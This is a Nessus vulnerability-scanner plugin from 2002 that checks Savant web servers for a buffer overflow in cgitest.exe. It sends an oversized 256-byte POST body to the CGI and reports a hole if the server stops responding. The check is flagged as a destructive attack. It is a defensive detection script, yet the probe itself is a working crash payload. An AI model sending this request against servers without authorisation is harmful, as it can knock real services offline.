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- #
- # This script was written by Michel Arboi <arboi@alussinan.org>
- #
- # GNU Public Licence
- #
- ########################
- # References:
- ########################
- #
- # Date: Fri, 13 Sep 2002 19:55:05 +0000
- # From "Auriemma Luigi" <aluigi@pivx.com>
- # To: bugtraq@securityfocus.com
- # Subject: Savant 3.1 multiple vulnerabilities
- #
- ########################
-
- if(description)
- {
- script_id(11173);
- script_bugtraq_id(5706);
- script_version("$Revision: 1.10 $");
-
- name["english"] = "Savant cgitest.exe buffer overflow";
- script_name(english:name["english"]);
-
- desc["english"] = "
- cgitest.exe from Savant web server is installed. This CGI is
- vulnerable to a buffer overflow which may allow a cracker to
- crash your server or even run code on your system.
-
- Risk factor : High
-
- Solution : Upgrade your web server or remove this CGI.";
-
- script_description(english:desc["english"]);
-
- summary["english"] = "Savant cgitest.exe buffer overflow";
- script_summary(english:summary["english"]);
-
- script_category(ACT_DESTRUCTIVE_ATTACK);
-
-
- script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi",
- francais:"Ce script est Copyright (C) 2002 Michel Arboi");
- family["english"] = "CGI abuses";
-
- script_family(english:family["english"]);
- script_dependencie("find_service.nes", "http_version.nasl");
- script_require_ports("Services/www",80);
- exit(0);
- }
-
-
-
- include("http_func.inc");
- include("http_keepalive.inc");
-
- port = get_http_port(default:80);
-
- if (! get_port_state(port)) exit(0);
-
-
- foreach dir (cgi_dirs())
- {
- p = string(dir, "/cgitest.exe");
- if(is_cgi_installed_ka(item:p, port:port))
- {
- soc = http_open_socket(port);
- if (! soc) exit(0);
-
- len = 256; # 136 should be enough
- req = string("POST ", p, " HTTP/1.0\r\nContent-Length: ", len,
- "\r\n\r\n", crap(len), "\r\n");
- send(socket:soc, data:req);
- http_close_socket(soc);
-
- sleep(1);
-
- if(http_is_dead(port: port))
- {
- security_hole(port);
- exit(0);
- }
- }
- }
-